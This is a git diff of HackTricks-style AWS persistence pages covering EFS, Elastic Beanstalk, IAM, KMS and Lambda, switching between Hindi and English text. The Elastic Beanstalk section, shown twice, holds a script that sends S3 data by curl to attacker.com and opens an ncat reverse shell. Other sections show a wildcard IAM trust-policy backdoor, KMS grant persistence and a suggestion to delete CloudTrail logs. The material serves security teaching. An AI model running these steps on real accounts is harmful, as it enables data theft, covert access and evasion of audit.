||||
|
||||
|
||||
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
|
||||
आप **resource policy and/or security groups** को संशोधित करके फ़ाइल सिस्टम में अपनी पहुँच को स्थायी करने का प्रयास कर सकते हैं।
|
||||
|
||||
### Create Access Point
|
||||
|
||||
आप उस service से पहुँचने योग्य एक **create an access point** (root access `/` के साथ) बना सकते हैं, जहाँ आपने **other persistence** लागू की हो, ताकि फ़ाइल सिस्टम तक विशेषाधिकार वाली पहुँच बनी रहे।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,81 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
|
||||
|
||||
### New backdoored version
|
||||
|
||||
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
|
||||
```bash
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,75 +0,0 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
AWS account के अंदर persistence बनाए रखने के लिए, कुछ **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) ताकि हमलावर उसे access करके IAM role **credentials from the metadata service** चुरा सके।
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
एक हमलावर S3 repo के अंदर code में backdoor डाल सकता है ताकि यह हमेशा उसका backdoor और expected code दोनों execute करे।
|
||||
|
||||
### New backdoored version
|
||||
|
||||
असल version के code को बदलने के बजाय, हमलावर application की एक नया backdoored version deploy कर सकता है।
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk lifecycle hooks प्रदान करता है जो आपको instance provisioning और termination के दौरान custom scripts चलाने की अनुमति देते हैं। एक हमलावर **lifecycle hook configure कर सकता है ताकि वह periodically एक script execute करे जो exfiltrates data या AWS account तक access बनाए रखे।**
|
||||
```bash
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,53 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
|
||||
- Create a user
|
||||
- Add a controlled user to a privileged group
|
||||
- Create access keys (of the new user or of all users)
|
||||
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
|
||||
- Disable MFA / Add you own MFA device
|
||||
- Create a Role Chain Juggling situation (more on this below in STS persistence)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Backdoor Policy Version
|
||||
|
||||
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,47 +0,0 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### सामान्य IAM Persistence
|
||||
|
||||
- एक user बनाएं
|
||||
- किसी controlled user को एक privileged group में जोड़ें
|
||||
- access keys बनाएं (नए user के या सभी users के लिए)
|
||||
- controlled users/groups को अतिरिक्त permissions दें (attached policies या inline policies के माध्यम से)
|
||||
- MFA अक्षम करें / अपना MFA device जोड़ें
|
||||
- Role Chain Juggling स्थिति बनाएं (नीचे STS persistence में अधिक जानकारी)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
आप एक trust policy में backdoor जोड़ सकते हैं ताकि आप इसे अपने द्वारा नियंत्रित external resource के लिए assume कर सकें (या सभी के लिए):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Backdoor Policy Version
|
||||
|
||||
एक policy के किसी पुराने version में Administrator permissions दें (आखिरी version को वैध दिखना चाहिए), फिर उस version को नियंत्रित user/group को असाइन करें।
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
यदि account पहले से ही किसी सामान्य identity provider (जैसे Github) पर भरोसा करता है, तो trust की शर्तें बढ़ा दी जा सकती हैं ताकि attacker उनका दुरुपयोग कर सके।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,43 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
For mor information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
|
||||
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
|
||||
|
||||
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
|
||||
|
||||
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
|
||||
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
|
||||
एक attacker **`kms:PutKeyPolicy`** permission का उपयोग करके किसी key पर अपने नियंत्रण वाले user या यहां तक कि external account को **give access** दे सकता है। अधिक जानकारी के लिए [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) देखें।
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grants एक और तरीका हैं जिससे किसी principal को किसी specific key पर कुछ permissions दिए जा सकते हैं। यह संभव है कि किसी user को ऐसे grant दिए जाएं जो user को नए grants बनाने की अनुमति दें। इसके अलावा, एक user के पास एक ही key पर कई grants (यहां तक कि समान भी) हो सकते हैं।
|
||||
|
||||
इसलिए, संभव है कि किसी user के पास सभी permissions वाले 10 grants हों। attacker को इसे लगातार मॉनिटर करना चाहिए। और अगर किसी बिंदु पर 1 grant हटा दिया जाता है तो तुरंत और 10 generate किए जाने चाहिए।
|
||||
|
||||
(हम 10 का उपयोग 2 की बजाय इसलिए कर रहे हैं ताकि यह पता चल सके कि जब user के पास अभी भी कुछ grant मौजूद हों तब भी एक grant हटा दिया गया था)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> A grant केवल इन permissions ही दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
यह संभव है कि **introduce/backdoor a layer to execute arbitrary code** जब lambda execute होता है और वह स्टील्थी तरीके से:
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Lambda Layers का abuse करकेextensions को भी abuse किया जा सकता है और lambda में persist किया जा सकता है, साथ ही requests को steal और modify भी किया जा सकता है।
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,106 +28,41 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
यह संभव है कि विभिन्न lambda actions (जैसे invoke या update code) के लिए external accounts को access दिया जाए:
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
A Lambda के पास **different versions** हो सकते हैं (प्रत्येक version में अलग code)।\
|
||||
फिर, आप **different aliases with different versions** बना सकते हैं और हर एक को अलग weights दे सकते हैं।\
|
||||
इस तरह एक attacker एक **backdoored version 1** बना सकता है और **version 2 with only the legit code** रख सकता है और stealth बनाए रखने के लिए **only execute the version 1 in 1%** of the requests कर सकता है।
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Lambda का original code copy करें
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish और **deploy that version** to $LATEST
|
||||
1. API Gateway को call करें जो lambda से संबंधित है ताकि code execute हो
|
||||
3. **Create a new version with the original code**, Publish और उस **version** को $LATEST पर deploy करें।
|
||||
1. यह backdoored code को एक पिछले version में छिपा देगा
|
||||
4. API Gateway पर जाएं और **create a new POST method** (or choose any other method) जो lambda के backdoored version को execute करेगा: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. arn के अंतिम :1 पर ध्यान दें — **indicating the version of the function** (इस सीनारियो में version 1 backdoored होगा)।
|
||||
5. बनाए गए POST method को select करें और Actions में **`Deploy API`** चुनें
|
||||
6. अब, जब आप **call the function via POST your Backdoor** तो invoke हो जाएगा
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
यह तथ्य कि आप **lambda functions run when something happen or when some time pass** सकता है, Lambda को persistence हासिल करने और detection से बचने का एक सामान्य तरीका बनाता है।\
|
||||
यहाँ कुछ विचार दिए गए हैं जिनसे आप अपनी **presence in AWS more stealth by creating lambdas** बना कर और stealthy रह सकते हैं।
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
|
||||
- हर बार जब एक नया user बनाया जाता है, lambda एक नया user key generate करता है और उसे attacker को भेज देता है।
|
||||
- हर बार जब नया role बनाया जाता है, lambda compromised users को assume role permissions दे देता है।
|
||||
- हर बार नए CloudTrail logs बनते हैं, उन्हें delete/alter कर दें
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Environment variable `AWS_LAMBDA_EXEC_WRAPPER` का abuse करके runtime/handler शुरू होने से पहले attacker-controlled wrapper script execute करवाएं। Wrapper को Lambda Layer के माध्यम से `/opt/bin/htwrap` पर पहुंचाएँ, `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` सेट करें, और फिर function invoke करें। Wrapper function runtime process के अंदर चलता है, function execution role inherit करता है, और अंत में real runtime को `exec` करता है ताकि original handler सामान्य रूप से execute हो।
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Lambda asynchronous destinations और Recursion configuration का abuse करके आप बिना किसी external scheduler (no EventBridge, cron, आदि) के एक function को लगातार स्वयं को re-invoke करवा सकते हैं। डिफ़ॉल्ट रूप से, Lambda recursive loops को terminate करता है, लेकिन recursion config को Allow पर सेट करने से वे फिर से सक्षम हो जाते हैं। Destinations service side पर async invokes के लिए deliver करते हैं, इसलिए एक single seed invoke एक stealthy, code-free heartbeat/backdoor चैनल बना देता है। शोर कम रखने के लिए वैकल्पिक रूप से reserved concurrency के साथ throttle करें।
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
attacker logic के साथ एक hidden Lambda version बनाएं और `lambda add-permission` में `--qualifier` parameter का उपयोग करके resource-based policy को उस specific version (या alias) तक scope करें। केवल `lambda:InvokeFunction` को `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` पर एक attacker principal को दें। Function name या primary alias के माध्यम से सामान्य invocations प्रभावित नहीं होते, जबकि attacker सीधे backdoored version ARN को invoke कर सकता है।
|
||||
|
||||
यह Function URL को expose करने की तुलना में अधिक stealthier है और primary traffic alias को बदलता नहीं है।
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### Freezing AWS Lambda Runtimes
|
||||
|
||||
जिस attacker के पास lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, और lambda:GetRuntimeManagementConfig permissions हों, वह किसी function की runtime management configuration को modify कर सकता है। यह attack खासकर प्रभावी होता है जब लक्ष्य किसी Lambda function को एक vulnerable runtime version पर बनाए रखना हो या उन malicious layers के साथ compatibility preserve करना हो जो नए runtimes के साथ incompatible हो सकती हैं।
|
||||
|
||||
attacker runtime management configuration को modify करके runtime version को pin कर देता है:
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
--function-name $TARGET_FN \
|
||||
--payload '{}' \
|
||||
--region us-east-1 /tmp/ping.json
|
||||
|
||||
sleep 5
|
||||
|
||||
# Freeze automatic runtime updates on function update
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on FunctionUpdate \
|
||||
--region us-east-1
|
||||
```
|
||||
लागू किए गए कॉन्फ़िगरेशन की जाँच करें:
|
||||
```bash
|
||||
aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
वैकल्पिक: किसी विशिष्ट रनटाइम संस्करण पर पिन करें
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
--log-group-name /aws/lambda/$TARGET_FN \
|
||||
--filter-pattern "INIT_START" \
|
||||
--query 'events[0].message' \
|
||||
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
|
||||
```
|
||||
विशिष्ट runtime संस्करण पर पिन करें:
|
||||
```bash
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on Manual \
|
||||
--runtime-version-arn $RUNTIME_ARN \
|
||||
--region us-east-1
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,46 @@
|
||||
# AWS - Lambda एक्सटेंशनों का दुरुपयोग
|
||||
# AWS - Abusing Lambda Extensions
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda एक्सटेंशन्स
|
||||
## Lambda Extensions
|
||||
|
||||
Lambda एक्सटेंशन्स कार्यों को विभिन्न **निगरानी, अवलोकन, सुरक्षा, और शासन उपकरणों** के साथ एकीकृत करके बढ़ाती हैं। ये एक्सटेंशन्स [.zip आर्काइव के माध्यम से Lambda लेयर्स](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) के जरिए जोड़ी जाती हैं या [कंटेनर इमेज डिप्लॉयमेंट्स](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) में शामिल की जाती हैं, और ये दो मोड में कार्य करती हैं: **आंतरिक** और **बाहरी**।
|
||||
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
|
||||
|
||||
- **आंतरिक एक्सटेंशन्स** रनटाइम प्रक्रिया के साथ मिलकर काम करती हैं, इसके स्टार्टअप को **भाषा-विशिष्ट पर्यावरण चर** और **रैपर स्क्रिप्ट** का उपयोग करके संशोधित करती हैं। यह अनुकूलन विभिन्न रनटाइम्स पर लागू होता है, जिसमें **Java Correto 8 और 11, Node.js 10 और 12, और .NET Core 3.1** शामिल हैं।
|
||||
- **बाहरी एक्सटेंशन्स** अलग प्रक्रियाओं के रूप में चलती हैं, Lambda कार्य के जीवन चक्र के साथ संचालन संरेखण बनाए रखती हैं। ये विभिन्न रनटाइम्स के साथ संगत हैं जैसे **Node.js 10 और 12, Python 3.7 और 3.8, Ruby 2.5 और 2.7, Java Corretto 8 और 11, .NET Core 3.1**, और **कस्टम रनटाइम्स**।
|
||||
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
|
||||
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
|
||||
|
||||
[**कैसे Lambda एक्सटेंशन्स काम करती हैं, इसके बारे में अधिक जानकारी के लिए दस्तावेज़ देखें**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html)।
|
||||
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### स्थिरता, अनुरोध चुराने और अनुरोधों को संशोधित करने के लिए बाहरी एक्सटेंशन
|
||||
### External Extension for Persistence, Stealing Requests & modifying Requests
|
||||
|
||||
यह इस पोस्ट में प्रस्तावित तकनीक का सारांश है: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
यह पाया गया कि Lambda रनटाइम वातावरण में डिफ़ॉल्ट Linux कर्नेल “**process_vm_readv**” और “**process_vm_writev**” सिस्टम कॉल के साथ संकलित है। और सभी प्रक्रियाएँ एक ही उपयोगकर्ता आईडी के साथ चलती हैं, यहां तक कि बाहरी एक्सटेंशन के लिए बनाई गई नई प्रक्रिया भी। **इसका मतलब है कि एक बाहरी एक्सटेंशन को Rapid की हीप मेमोरी तक पूर्ण पढ़ने और लिखने की पहुंच है, डिजाइन के अनुसार।**
|
||||
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
|
||||
|
||||
इसके अलावा, जबकि Lambda एक्सटेंशन्स **आह्वान घटनाओं की सदस्यता** लेने की क्षमता रखती हैं, AWS इन एक्सटेंशन्स को कच्चा डेटा नहीं दिखाता। यह सुनिश्चित करता है कि **एक्सटेंशन्स संवेदनशील जानकारी** तक पहुंच नहीं प्राप्त कर सकतीं जो HTTP अनुरोध के माध्यम से भेजी जाती है।
|
||||
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
|
||||
|
||||
Init (Rapid) प्रक्रिया सभी API अनुरोधों की निगरानी करती है [http://127.0.0.1:9001](http://127.0.0.1:9001/) जबकि Lambda एक्सटेंशन्स को प्रारंभ किया जाता है और किसी भी रनटाइम कोड के निष्पादन से पहले चलाया जाता है, लेकिन Rapid के बाद।
|
||||
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
चर **`AWS_LAMBDA_RUNTIME_API`** Rapid API के **IP** पते और **पोर्ट** नंबर को **बच्चे रनटाइम प्रक्रियाओं** और अतिरिक्त एक्सटेंशन्स को इंगित करता है।
|
||||
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
|
||||
|
||||
> [!WARNING]
|
||||
